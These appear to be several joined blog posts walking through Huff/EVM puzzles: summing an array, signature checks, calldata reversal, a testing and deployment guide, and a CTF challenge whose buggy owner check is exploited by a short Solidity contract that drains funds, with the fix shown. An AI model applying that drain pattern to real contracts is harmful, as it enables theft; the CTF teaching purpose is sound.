In this post, we’ll dive into the basics of Huff by solving one of the Huff Puzzles created by RareSkills. Whether you're a seasoned smart contract developer or a curious newcomer aiming to push the boundaries of what's possible in smart contract optimization, (I hope) this article serves as a guide to strengthen your Huff and EVM fundamentals.

So grab a cup of coffee, and let's get started with this walkthrough!

Background:

Huff is a domain-specific low level EVM programming language created in 2019 by Zac Willamson and team (Aztec protocol) to efficiently implement a form of elliptic curve multiplication library called weierstrudel.

Weistrudel is a ECC library  that helps to perform elliptic curve scalar multiplication on the short Weierstrass 254-bit Barreto-Naehrig curve. The contract will multiply up to 15 elliptic curve points with up to 15 different scalars.

Since operations performed on elliptic curves can get quite complex, they cannot be often executed on-chain due the block’s gaslimit constraints. So Zac came up with a new language, Huff, to implement the library.

In general, Huff removes away all the abstraction provided by Solidity and grants a more granular level control over EVM even more than Yul which makes the resulting bytecode more optimized and efficient in terms of both size and gas consumption. Due to this reason, the adoption of Huff grew and people started to build their own optimized version of libraries and smart contracts.

NB; Since Huff has no safety checks, things could also go the other way if the developers are not aware of what they’re actually doing.

Currently, Huff is completely open-source and is maintained by the community. Also the core developers recently migrated the entire Huff compiler implementation to Rust which is a great leap.

Okay, I think this is enough introduction to understand the need for having a separate language to write smart contracts. If you’re interested in reading more about Huff background, I recommend this medium post written by Zac himself.

Huff syntax:

Before diving into loops, I’ll give a quick intro to the basic Huff syntax, which is quite unique: no variables, no operators and no types.

You can define your logic as macros or functions and plug it inside a jump table (function dispatcher). The function dispatcher is usually the MAIN() macro which transfers control to specific macros and functions based on the function selector.

The Puzzle:

There are several puzzles in the `huff-puzzles` repo. It is an awesome repo with challenges of various levels that could help you get better at Huff. Today, we’ll look into the `**SumArray**`  challenge which is all about implementing a contract in Huff with a function to accept an unsigned integer array (uint256), sum all the elements and return the sum.

The stub for the puzzle is given in the challenge contract:

Goal: Our implementation should satisfy the testcases defined in `SumArray.t.sol`

High-level Solution:

Before diving into the Huff solution, let’s do a quick reference implementation of our solution in a high-level language like Solidity. The solution contract would look like something like this:

Even though the above contract looks very simple, solidity handles a lot for us under the hood like bound check, offset calculation, calldata slicing, stack manipulation and more.

Let’s break it down.

• Bound checking: Everytime when we try to access an array element via indexing (_array[i]), the solc (solidity compiler) checks if the index i, is less than the array size. If not, it throws an Out-of-bounds exception.

• Offset calculation: Offset calculation is required to calculate the position of the array elements which is required for retrieval by slicing the data from memory or calldata.

• Stack manipulation: EVM is a stack based VM, so every operation is based on the stack operations like PUSH, POP, SWAP, DUP, etc.,. Solidity handles this for us under the hood.

Huff Solution:

We’ll be now converting the above reference implementation to Huff to solve this puzzle. Here’s the full solution if you wanna have a peek:

https://gist.github.com/PraneshASP/d01626ae9c0b0148bcf13cded470e578

Let’s go through the SUM_ARRAY() macro which handles all the logic with a sample input. Sample input: [1,3, 5] Expected output: 9 In EVM, everything is encoded into bytes. So there’s no difference between various types. It’s the solidity compiler which has all the type definitions and does all the heavy lifting to process the inputs and outputs for operations. So when we make a call to our Huff contract (sumArray(uint256[])) method with the above sample array as in input the calldata would be something like:

0x1e2aea0600000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000003000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000030000000000000000000000000000000000000000000000000000000000000005

You can generate the above calldata in solidity with below piece of code:

bytes memory _calldata = abi.encodeWithSignature(“sumArray(uint256[])”, inputArray); 

The first 4 bytes is the function selector: 0x1e2aea06 is the function selector which will be used to pass control where the logic for the function resides. Next there is a 32 byte padded value: 0x20 which translates to 32 indicating the offset for every array element. Then the next 32 byte padded value: 0x3 indicates the number of array elements. Followed by 3, 32 byte padded values 1, 2 and 5, which is the input array. To read more about the function selector and argument encoding, I recommend the ABI Spec from Solidity docs: https://docs.soliditylang.org/en/v0.8.21/abi-spec.html# The MAIN() macro:

#define macro MAIN() = takes(0) returns(0) {
 // Identify which function is being called.
    0x00 calldataload
    
    // Extract the function singature
    0xe0 shr

    // Jump table
    dup1 __FUNC_SIG(sumArray) eq  sumArray  jumpi

    // Revert if the selector doesn't match
    0x00 0x00 revert

    sumArray:
          SUM_ARRAY()   
}

This is the entry point and it acts as the function dispatcher. It receives the calldata, right shifts the data by 224 bits to the right to extract the function selector. Then we check if the input signature matches one of the functions signature, in this case its sumArray. If it matches, the control will be passed to the SUM_ARRAY() macro, otherwise the call will be reverted.

Let’s break down the implementation of SUM_ARRAY() macro for our sample input for 1 iteration:

Initialize Array Length:

0x44 calldatasize sub        // [96] array length is 3 * 32

Subtracts 68 (0x44) from the calldata size to get the length of the array, pushing it onto the stack. We subtract 68 because we know the first 4 bytes are for function selector and the remaining 64 bytes are for offset size and array length. Initialize Sum and Index:

push0                // [0, 96] sum=0
push0                // [0, 0, arrayLength] i=0

Push two zeroes onto the stack. The first zero is for the sum accumulator, and the second zero is for the index i.

Loop Start Label:

loopBegin:  

Define the label loopBegin to jump back to for each iteration of the loop.

Note that this is just a label to mark the start of a block.

Check if i < arraySize:

dup3 dup2               // [0, 96, 0, 0]
0x20 mul                // [0*32, 96, 0, 96]  
lt iszero end jumpi     // [0 < 96, 0, 0, 96]

Duplicates the i and arrayLength values, multiplies i by 32, and checks whether i*32 is less than arrayLength. If it's not, it jumps to the end label to terminate the loop. We multiply index i with 32 because each element is 32 bytes. So in 2nd iteration, i will be 1 and we check 132 < 96 true, then continue. Next iteration, i32 will be 64 so iteration still continues. When its 4th iteration, i will be 3 so i*32 will be 96 which is not less than 96 so the control jumps to the end block .

Accessing Array Elements

dup1 0x20 mul            // [0*32, 0, 0, 96]
0x44 add                 // [0*32 + 68, 0, 0, 96]
calldataload             // [arr[i]:1, 0, 0, 96]

Calculates the offset to access the i-th element from calldata and loads it onto the stack. calldataload is an opcode that takes in offset as input and loads 32-byte value starting from the given offset. So in out case the offset is 68, so calldataload will copy 32 bytes from byte 69.

0x1e2aea0600000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000003000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000030000000000000000000000000000000000000000000000000000000000000005

So in the first iteration 0x1 (left padded) will be copied to the stack. In the next iteration, 3 will be copied and in the final iteration 5 will be copied to the stack.

Update Sum:

dup3                     // [sum:0, arr[i]:1, i:0, sum:0, arrayLength:96]    
add                      // [sum + arr[i]:1, i:0, oldSum:0, arrayLength:96]	 
swap2 pop                // [i:0, newSum:1, arrayLength:96]

Here, we bring the sum to top of the stack and add with arr[i] to calculate the new sum. Then once the new sum is calculated, swap the new sum with the old sum and pop the old sum from the stack.

Increment Index:

0x1 add          // [i++, newSum:1, arraylength:96]
loopBegin jump	// Jump to loopBegin label

Increments i by 1 and jumps back to loopBegin for the next iteration. So this process continues till index value is 3. When i=3, the array index check fails, as 3*32 is not less than 96. Hence the control will be transferred to the end block:

Loop End

/// Stack: [index, finalSum, arrayLength]
end:
pop                     // [finalSum, arrayLength] : pops index out of stack
push0 mstore            // [arrayLength] : store final sum in memory
0x20 push0 return	      // Return the sum of the array from memory 

Pops the remaining index from the stack and stores the final sum at memory location 0. Then returns 32 bytes starting from memory location 0, which contains the final sum.

Note: The above example is not most optimized and there are no safety checks like overflow protection. The goal of this post is to help developers understand the basics of Huff actually by writing a contract. Hence it should not be used in production.

If you've followed along this far, kudos to you! 🥳🎉 Even though we cannot cover the entire under-the-hood topics in a single post, I tried to cover most of the important details. So feel free to read it multiple times until you fully understand it at your own pace.

Gas comparison:

I quickly ran a quick comparison of gas consumption for both the implementations. Here are the results:

You can see that SumArrayHuff::sumArray() call costs 916 gas whereas SumArraySol::sumArray() costs around 2910 gas which is like ~3x more than that of Huff.

Here’s the repo with the tests. You can run tests and see the difference in gas cost:

https://github.com/PraneshASP/huff-sum-array

Conclusion:

Huff may seem intimidating at first glance, but it offers an unparalleled level of control and optimization. Being mindful of gas costs and storage operations can make your smart contracts perform better and cost less. This example illustrates how fundamental operations like summing an array can be optimized for gas consumption.

“With great power comes great responsibility“

Since Huff grants you the power of complete access to stack and opcodes, the developers should be super careful and should be aware of what they implement.

Gotchas to Remember:

1. Huff can be gas-efficient but a tiny mistake can cost a lot. Always test thoroughly.

2. Huff and inline assembly don't have the rich debugging tools that higher-level languages offer. You'll need to be extra careful.

By diving into Huff, you'll understand what happens under the hood, so you’d be better equipped to write more efficient, cost-effective smart contracts. Until the next time, keep coding and stay curious!🚀

The Challenge:

The challenge we're examining today revolves around message signatures. Our goal is to create a contract using Huff, that takes a signature as input from the calldata, verifies if the message was indeed signed by the sender of the transaction, and returns true if it was. If the message wasn't signed by the sender or if the calldata doesn't adhere to the expected structure, we want the contract to do something that causes the transaction to run out of gas.

Solution:

Here’s the solution for your quick glance:

#define macro MAIN() = takes (0) returns (0) {
    /// Check if calldatasize is 97 bytes (MessageHash=32, Signature=65)
    calldatasize 
    0x61 eq 
    extractParamsAndStore jumpi

    oog jump
        
    extractParamsAndStore:
    /// Store the message hash
    0x00 calldataload
    0x00 mstore

    /// Store 'v'
    0x60 calldataload
    0x3f mstore

    /// Store 'r'
    0x20 calldataload
    0x40 mstore 
    
    /// Store 's'
    0x40 calldataload
    0x60 mstore 
    
    /// Prepare stack for 'ecrecover' staticcall 
    0x20 
    0x00 
    0x80 
    0x00 
    chainid 
    gas
    staticcall validate jumpi

    oog jump

    /// Check if caller==retdata (signer address)
    validate:
    0x00 mload 
    dup1
    caller 
    eq valid jumpi

    oog jump

    // Return true
    valid: 
    chainid 
    0x00 mstore
    0x20 0x00 return

    // out-of-gas
    oog:
    0x01 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff mstore

If the above code is all Greek and Latin to you, don’t worry. I’m here to break it down for you.

#define macro MAIN() = takes (0) returns (0) {
    calldatasize 
    0x61 eq 
    extractParamsAndStore jumpi

    oog jump

The first part of the contract is responsible for checking whether the calldatasize equals 0x61 (which is the hexadecimal representation of 97 in decimal). 97 bytes is the expected size of the calldata (MessageHash=32 bytes, Signature=65 bytes). If the size is correct, it jumps to the extractParamsAndStore label. Otherwise, it jumps to the oog (out-of-gas) label to make the transaction run out of gas.

Assumption*: The contract assumes that the calldata is structured in a specific way (message hash first, followed by the v, r, s components of the signature). If the input doesn't follow this structure, the contract won't function as intended.*

Next, we extract parameters from the calldata:

  extractParamsAndStore:
    0x00 calldataload
    0x00 mstore

    0x60 calldataload
    0x3f mstore

    0x20 calldataload
    0x40 mstore 

    0x40 calldataload
    0x60 mstore 

This part of the code extracts and stores the message hash, v, r, and s values from the calldata. These values represent the signed message we're looking for. The calldataload operation takes the start byte from the calldata, and mstore stores this data in memory.

We then prepare the stack with parameters for the ecrecover call:

    0x20 
    0x00 
    0x80 
    0x00 
    chainid 
    gas
    staticcall validate jumpi

    oog jump

A staticcall is made to the precompiled contract residing at the address 0x01. It implements the ecrecover method. It is used to extract the signer’s address from the signature using message hash, v, r, and s values as input. The jumpi instruction then checks the outcome of the ecrecover call. If it's successful, the control gets transferred to the validate label. Otherwise, it jumps to oog, causing the transaction to run out of gas.

Assumption: The above piece of code assumes that the contract will be deployed on the Ethereum mainnet as you can see we use chainid as the target address of static call where the precompile for ecrecover resides. To learn more about precompiles, look here.

The contract then verifies if the extracted signer’s address matches the transaction sender’s address:

  validate:
    0x00 mload          // [rcvd_address]
    dup1                // [rcvd_address, rcvd_address]
    caller              // [msg.sender, rcvd_address]
    eq valid jumpi      // [msg.sender == rcvd_address?]

    oog jump            // if not equal, jump to out-of-gas block

The mload operation loads the signer's address from memory which is be the return value of the ecrecover call, dup1 duplicates this address on the stack, and caller gets the address of the transaction sender. The eq operation checks if the two addresses match. If they do, the program jumps to the valid label. Otherwise, it jumps to oog, again causing the transaction to run out of gas.

Finally, the contract returns true in the case of a valid signature:

valid: 
  chainid 
  0x00 mstore
  0x20 0x00 return

This section stores the current chain id (which serves as a boolean value 0x01 for Mainnet to represent true) into memory and returns it.

And in case of invalid calldata or signature, we run out of gas:

oog:
  0x01 
  0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff            

  mstore

This code tries to store a massive value into memory, thereby using up all the available gas and causing an out-of-gas error.

You can find a runnable PoC including tests for all the Huff Challenges here:

https://github.com/minaminao/ctf-blockchain/tree/main/src/HuffChallenge

To learn more about Huff, join the Huff developers discord server:

https://discord.gg/p7z3DpVnT2

Stay tuned… Until next time 👋👋

You can find walkthroughs for other challenges below:

• Challenge #1

• Challenge #2

• Challenge #3

Also if you are new to huff and wanna learn how to test and deploy Huff contracts, check out this article.

Alright let’s dive in.

The Problem Statement:

In this challenge, we're tasked with writing a Huff smart contract that reverses the calldata that it receives. Essentially, if you send data to this contract, it should be able to return the same data, but in reverse order.

For those who don’t know, calldata is a type of input data that is sent along with a transaction. It's stored outside of the EVM's storage and memory, making it cheaper to use.

Solution:

There can be multiple valid solutions to this challenge. I’m going to use one of the solutions posted by @philogy for this walkthrough.

#define constant NEG1 = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff

#define macro GET_CALLDATA_BYTE() = takes(1) returns(1) {
  calldataload 0xf8 shr
}

#define macro MAIN() = takes(0) returns(0) {
  calldatasize not_empty jumpi
  returndatasize returndatasize return
  
  not_empty:
  calldatasize
  returndatasize

  copy_bytes_iter:           // [i, j + 1]
    swap1                    // [j + 1, i]
    [NEG1] add               // [j, i]
    dup2 dup2                // [j, i, j, i]
    dup2 GET_CALLDATA_BYTE() // [cd[i], j, i, j, i]
    dup2 GET_CALLDATA_BYTE() // [cd[j], cd[i], j, i, j, i]
    swap2                    // [j, cd[i], cd[j], i, j, i]
    mstore8                  // [cd[j], i, j, i]
    swap1 mstore8            // [j, i]
    swap1 0x1 add            // [i', j' + 1]
    dup2 dup2                // [i', j' + 1, i', j' + 1]
    lt 
    copy_bytes_iter jumpi

  calldatasize returndatasize return
}

Let me break it down for you.

Firstly, the constant NEG1, a 256-bit number representing -1 in two's complement form. This constant will be useful for offsetting indexes.

#define constant NEG1 = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff

Next, a macro called GET_CALLDATA_BYTE() is defined. This macro fetches one byte of calldata at a specified index. calldataload is an EVM opcode that loads 32 bytes of calldata from a specific index. However, we're only interested in a single byte, so we shift right (shr) by 248 bits (0xf8) to isolate the byte we need.

#define macro GET_CALLDATA_BYTE() = takes(1) returns(1) {
  calldataload 0xf8 shr
}

Next comes the MAIN() macro. The first part of MAIN() is a short check for whether any calldata is present:

  calldatasize not_empty jumpi
  returndatasize returndatasize return

Here, calldatasize gets the size of the calldata. If the size is non-zero (meaning calldata is present), the control jumps to the not_empty label. If the size is zero (no calldata), then it immediately returns.

After confirming that calldata is present, the size of the calldata is fetched and pushed to the stack.

not_empty:
  calldatasize
  returndatasize

Next comes the spiciest part. The logic to reverse the calldata, one byte at a time.

Let's divide the copy_bytes_iter block into smaller chunks and discuss each one:

Block 1: Index preparation and byte retrieval

copy_bytes_iter:           // [i, j + 1]
  swap1                    // [j + 1, i]
  [NEG1] add               // [j, i]
  dup2 dup2                // [j, i, j, i]
  dup2 GET_CALLDATA_BYTE() // [cd[i], j, i, j, i]
  dup2 GET_CALLDATA_BYTE() // [cd[j], cd[i], j, i, j, i]

In this first block, we prepare the indices and retrieve the bytes to be swapped. We first swap i and j + 1 then subtract 1 from j + 1 to get j. After duplicating j and i for later use, the GET_CALLDATA_BYTE() macro is invoked twice to get the ith and jth bytes (cd[i] and cd[j]) from the calldata.

Block 2: Byte swapping

  swap2                    // [j, cd[i], cd[j], i, j, i]
  mstore8                  // [cd[j], i, j, i]
  swap1 mstore8            // [j, i]

In the second block, the swapping of the bytes takes place. The contract swaps cd[i] and j, then uses mstore8 to store cd[j] at the ith position and cd[i] at the jth position. At the end of this block, j and i are left on the stack.

Block 3: Loop iteration and continuation

  swap1 0x1 add            // [i', j' + 1]
  dup2 dup2                // [i', j' + 1, i', j' + 1]
  lt 
  copy_bytes_iter jumpi

In the third block, i is incremented to move on to the next byte from the start. The indices i' and j' + 1 are then duplicated for comparison. If i' is less than j' + 1, the loop continues and jumps back to copy_bytes_iter. Otherwise, the loop terminates, and the contract proceeds to the next stage.

By repeating these steps, the copy_bytes_iter block swaps all pairs of bytes in the calldata until all bytes are reversed.

GitHub link to the PoC:

https://github.com/minaminao/ctf-blockchain/tree/main/src/HuffChallenge/challenge4

You can find walkthroughs for Challenge #1 here and Challenge #2 here.

If you wanna learn how to test and deploy Huff contracts, check out this article.

Overview:

Here’s the target contract for the challenge:

#define constant OWNER_SLOT = 0x00
#define constant WITHDRAWER_SLOT = 0x01
#define constant LAST_DEPOSITER_SLOT = 0x02

// Deposit into the contract.
#define macro DEPOSIT() = takes (0) returns (0) {
    callvalue iszero error jumpi // revert if msg.value == 0
    caller [LAST_DEPOSITER_SLOT] sstore // store last depositer 
    stop
    error:
        0x00 0x00 revert
}

// Withdraw from the contract.
#define macro WITHDRAW() = takes (0) returns (0) {
    [WITHDRAWER_SLOT] sload       // get withdrawer
    caller eq iszero error jumpi  // revert if caller != withdrawer

    // Transfer tokens
    0x00 0x00 0x00 0x00     // fill stack with 0
    selfbalance caller gas  // call parameters
    call                    // send ETH
    stop
    error:
        0x00 0x00 revert
}

// Allow owner to set withdrawer.
#define macro SET_WITHDRAWER() = takes (0) returns (0) {
    caller callvalue sload eq iszero error jumpi // require(msg.sender==owner)
    0x04 calldataload [WITHDRAWER_SLOT] sstore   // set new withdrawer
    stop
    error:
        0x00 0x00 revert
}

// Constructor.
#define macro CONSTRUCTOR() = takes (0) returns (0) {
    caller [OWNER_SLOT] sstore // set the deploywer as the owner
}

// Main macro
#define macro MAIN() = takes (0) returns (0) {
    0x00 calldataload 0xE0 shr
    dup1 0xd0e30db0 eq deposit jumpi
    dup1 0x3ccfd60b eq withdraw jumpi
    dup1 0x0d174c24 eq set_withdrawer jumpi

    deposit:
        DEPOSIT()
    withdraw:
        WITHDRAW()
    set_withdrawer:
        SET_WITHDRAWER()
}

The Huff contract contains four primary operations defined as macros:

1. DEPOSIT(): allows a user to deposit funds into the contract.

2. WITHDRAW(): lets the designated withdrawer to extract funds from the contract.

3. SET_WITHDRAWER(): allows the owner to change the designated withdrawer.

4. CONSTRUCTOR(): a setup routine that runs once upon deployment, setting the deployer as the contract owner.

The contract also maintains three storage slots:

• OWNER_SLOT: The contract's owner.

• WITHDRAWER_SLOT: The currently designated withdrawer.

• LAST_DEPOSITER_SLOT: The last user who deposited into the contract.

#define constant OWNER_SLOT = 0x00
#define constant WITHDRAWER_SLOT = 0x01
#define constant LAST_DEPOSITER_SLOT = 0x02

The Bug:

The critical bug exists in the SET_WITHDRAWER() macro. It is intended to allow only the contract owner to set a new withdrawer. However, due to a flaw in the code, it actually checks whether the calling address matches the value of the transaction (in Wei). Here's the problematic line of code:

caller callvalue sload eq iszero error jumpi // require(msg.sender==owner)

This means that if the sender of the transaction sends an amount of Ether equal to their address when calling this function, they could change the withdrawer, thereby opening the door to draining the contract's funds.

Let's break it down.

In the line of code that creates the bug, caller callvalue sload eq iszero error jumpi, we see a sequence of opcodes that, while seemingly correct at first glance, contain a fatal logic error.

Here's how the above line is interpreted:

1. caller: This opcode pushes the caller's address (the address that started the execution) onto the stack.

2. callvalue: Pushes the amount of Wei sent with the message (msg.value) onto the stack. This should have been [OWNER_SLOT] to load the contract owner's address into the stack.

3. sload: Loads the value from storage located at the address at the top of the stack. Since we have just pushed callvalue, it will attempt to load a value from an address equivalent to the Wei sent, which is nonsensical in this context.

4. eq: Checks if the top two stack items are equal.

5. iszero: Checks if the result of the eq operation is 0.

6. error jumpi: If the previous operation resulted in 0 (meaning the eq operation returned false), it jumps to the error label and reverts the transaction.

The Fix

The correct operation to check whether the sender of the transaction is the contract's owner should have been caller [OWNER_SLOT] sload eq iszero error jumpi. This will correctly load the owner's address from the storage slot 0x01 into the stack and compare it to the caller's address, thereby correctly enforcing the permission check.

Here's the corrected SET_WITHDRAWER() macro:

#define macro SET_WITHDRAWER() = takes (0) returns (0) {
    caller [OWNER_SLOT] sload eq iszero error jumpi // require(msg.sender==owner)
    0x04 calldataload [WITHDRAWER_SLOT] sstore   // set new withdrawer
    stop
    error:
        0x00 0x00 revert
}

This is a really cool challenge as it shows how worse it can get by a change in a single word. Also it highlights the importance of understanding the basics before starting to use low-level languages like Huff, Yul, etk, etc.,

Proof of Concept:

Having identified the flaw, let’s take a look at the PoC for a better understanding.

import "./IChallenge3.sol";

function playerScript(address instanceAddress) {
    new Challenge3Exploit{value: 3}(instanceAddress);
}

contract Challenge3Exploit {
    constructor(address instanceAddress) payable {
        Challenge3 challenge = Challenge3(payable(instanceAddress));
        challenge.deposit{value: 1}();
        challenge.setWithdrawer{value: 2}(address(this));
        challenge.withdraw();
        selfdestruct(payable(msg.sender));
    }
}

The Exploit

The playerScript() function is the main entry point. It deploys a new Challenge3Exploit contract, passing the instance address of the vulnerable contract and sending along 3 Ether.

Next, three key steps of the exploit:

1. challenge.deposit{value: 1}(); - Deposit 1 Ether into the vulnerable contract.

2. challenge.setWithdrawer{value: 2}(address(this)); - Exploit the bug, call the setWithdrawer() method with 2 Ether, so that the caller address (0x02) and the callvalue are both the same.

3. challenge.withdraw(); - Now that the contract is set as the withdrawer, call the withdraw() function to drain the funds from the vulnerable contract.

Finally, the line selfdestruct(payable(msg.sender)); sends all the funds collected by the exploit contract back to its deployer and destroys the contract.

Harness contract:

contract Challenge3Test is Test {
    address playerAddress = makeAddr("player");
    Challenge3 test;

    function setUp() public {
        test = Challenge3(HuffDeployer.deploy("HuffChallenge/challenge3/Challenge3"));
        test.deposit{value: 0.1 ether}();
        assertEq(address(test).balance, 0.1 ether);
    }

    function testExploit() public {
        vm.deal(playerAddress, 1 ether);

        vm.startPrank(playerAddress, playerAddress);
        playerScript(address(test));
        vm.stopPrank();

        assertEq(address(test).balance, 0 ether);
        assertEq(playerAddress.balance, 1.1 ether);
    }
}

In the setUp() function, the vulnerable contract is deployed and an initial deposit of 0.1 Ether has been made.

In the testExploit() function, exploit is carried out. The vm.deal(playerAddress, 1 ether); line provides the exploiter with 1 Ether. Then vm.startPrank() is used to impersonate the player address, execute the exploit, and then stop the impersonation.

Finally, assert that the vulnerable contract's balance is now 0, and the player's balance has increased by 1.1 Ether, thereby validating the success of the exploit.

Link to the Challenge:

https://twitter.com/huff_language/status/1560750533811376128

GitHub link to the PoC:

https://github.com/minaminao/ctf-blockchain/tree/main/src/HuffChallenge/challenge3

For those who don’t know:

Huff is a low-level programming language designed for developing highly optimized smart contracts that run on the Ethereum Virtual Machine (EVM). Huff does not hide the inner workings of the EVM and instead exposes its programming stack to the developer for manual manipulation.

The Aztec Protocol team originally created Huff to write Weierstrudel, an on-chain elliptical curve arithmetic library that requires incredibly optimized code that neither Solidity nor Yul could provide.

Note that this post is neither an introduction to Huff nor a step-by-step tutorial.This post aims to help the beginners to quickly get started with testing and deployment of their Huff contracts. If you are new to Huff, this video by devtooligan is a great resource. Also feel free to explore the official documentation of Huff at your own pace.

The Math Contract:

We are going to use a simple huff contract that performs basic math operations like add, subtract, multiply, etc.,

Note that the code below is not a complete Huff contract. It just contains the logic. The function dispatcher and other parts are contained in the wrapper. You can view the wrapper here.

#define macro ADD_NUMBERS() = takes (2) returns (1) {
    // Input stack:      // [num2, num1]
    add                  // [num2 + num1]         
}

#define macro SUB_NUMBERS() = takes (2) returns (1) {
    // Input stack:      // [num2, num1]
    swap1                // [num1, num2]
    sub                  // [num1 - num2]         
}


#define macro MULTIPLY_NUMBERS() = takes (2) returns (1) {
    // Input stack:      // [num2, num1]
    mul                  // [num2 * num1]         
}

#define macro DIVIDE_NUMBERS() = takes (2) returns (1) {
    // Input stack:      // [num2, num1]
    swap1                // [num1, num2]
    div                  // [num1 / num2]         
}


#define macro ABS() = takes (2) returns (1) {
    // Input stack:     // [num2, num1]
    dup1
    dup3
    lt 
    iszero swapAndSubtract jumpi
    sub                      
    complete jump  

    swapAndSubtract:
        swap1
        sub
    
    complete:
}

The above implementation is very basic and as always there is a plenty of room for improvements. But that’s a topic for another day.

Testing the contract:

We can test the above contract in 2 ways.

Using Foundry:

To test the above logic using foundry, we need to deploy the wrapper contract since it is the one that exposes the functions. Also we need to use HuffDeployer helper contract from the foundry-huff library.

Here’s how the tests should be setup:

• Define the interface of the contract (IMath).

• Deploy the wrapper contract (in the setUp()method) using the HuffDeployer.

• Cast the returned address to the IMath interface.

• Write tests as usual.

/// Import HuffDeployer
import {HuffDeployer} from "foundry-huff/HuffDeployer.sol";

contract MathTest is Test {
    IMath public math;

    function setUp() public {
        address addr = HuffDeployer.deploy(
            "../test/foundry/wrappers/MathWrapper"
        );
        math = IMath(addr);
    }

    function testAddNumbers() public {
        uint256 result = math.addNumbers(420, 69);
        assertEq(result, 489);
    }

    function testAddNumbers_fuzz(uint256 a, uint256 b) public {
        unchecked {
            uint256 c = a + b;

            if (c > MAX) {
                vm.expectRevert();
                math.addNumbers(a, b);
                return;
            }

            uint256 result = math.addNumbers(a, b);
            assertEq(result, a + b);
        }
    }

    function testSubNumbers() public {
        uint256 result = math.subNumbers(420, 69);
        assertEq(result, 351);
    }

...
...

}

You can view all the foundry tests here in the repo.

Huff Tests:

Testing Huff contracts using Foundry is the most commonly used method. But we can also write simpler (and faster) unit tests using Huff itself. The huff compiler (huffc) has a test command, which takes in the filename as an argument which contains the tests. We can use the TestHelpers util created by Maddiaa for basic operations like ASSERT , etc.,

A sample Huff test contract will look like:

// ./test/huff/Math.t.huff

/* Imports */
#include "./helpers/TestHelpers.huff"
#include "../../src/Math.huff"

/* Tests */
#define test TEST_ADD() = {
    0x01                // [1]
    0x02                // [2,1]
    ADD_NUMBERS()       // [sum]
    0x03                // [3,sum]
    ASSERT_EQ()         // [3 == sum]
    
    0x4563918244f40000  // [5e18]            
    0x4563918244f40000  // [5e18, 5e18]            
    ADD_NUMBERS()       // [SUM]    
    0x8ac7230489e80000  // [10e18, SUM]             
    ASSERT_EQ()         // [10e18==SUM]     
}
...
...

Complete test file here.

We can run the tests using the command:

$ huffc ./test/Math.t.huff test

The output will be something similar to the below image:

Deploying Huff contracts:

We just saw how to test Huff contracts using Foundry and Huff. Now we can move on to the next step which is deploying the Huff contract to a EVM-based blockchain (Goerli , in this case). Here’s the foundry script to deploy the `MathWrapper contract.

// scripts/DeployMath.s.sol

// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.15;

import "foundry-huff/HuffDeployer.sol";
import "forge-std/Script.sol";

import {IMath} from "../src/interfaces/IMath.sol";

contract Deploy is Script {
  function run() public returns (IMath math) {
    math = IMath(HuffDeployer.broadcast("wrappers/MathWrapper"));
    console2.log("MathWrapper contract deployed to: ", address(math));
    }
}

The above script can be executed by running the following command:

$ source .env && forge script scripts/DeployMath.s.sol:DeployMath --fork-url $RPC_URL --private-key $PRIVATE_KEY --broadcast

You need to configure the RPC_URL of the network and PRIVATE_KEY of the deployer in the .env file.

If everything works as intended, you’ll be seeing an output something like this:

To validate the deployment you can either add assertions in the script’s run() method or you can also implement fork tests with the deployed contract address similar to this one. If you want to deploy contracts with arguments, you can have a look into my Huffbound deployment script.

Sweet. We have successfully tested and deployed our simple Math.huff contract. You can follow the same process to test and deploy more complex Huff contracts as well.

Here’s the link to GitHub repo:

https://github.com/PraneshASP/huff-math/tree/main/src

Until next time 👋👋.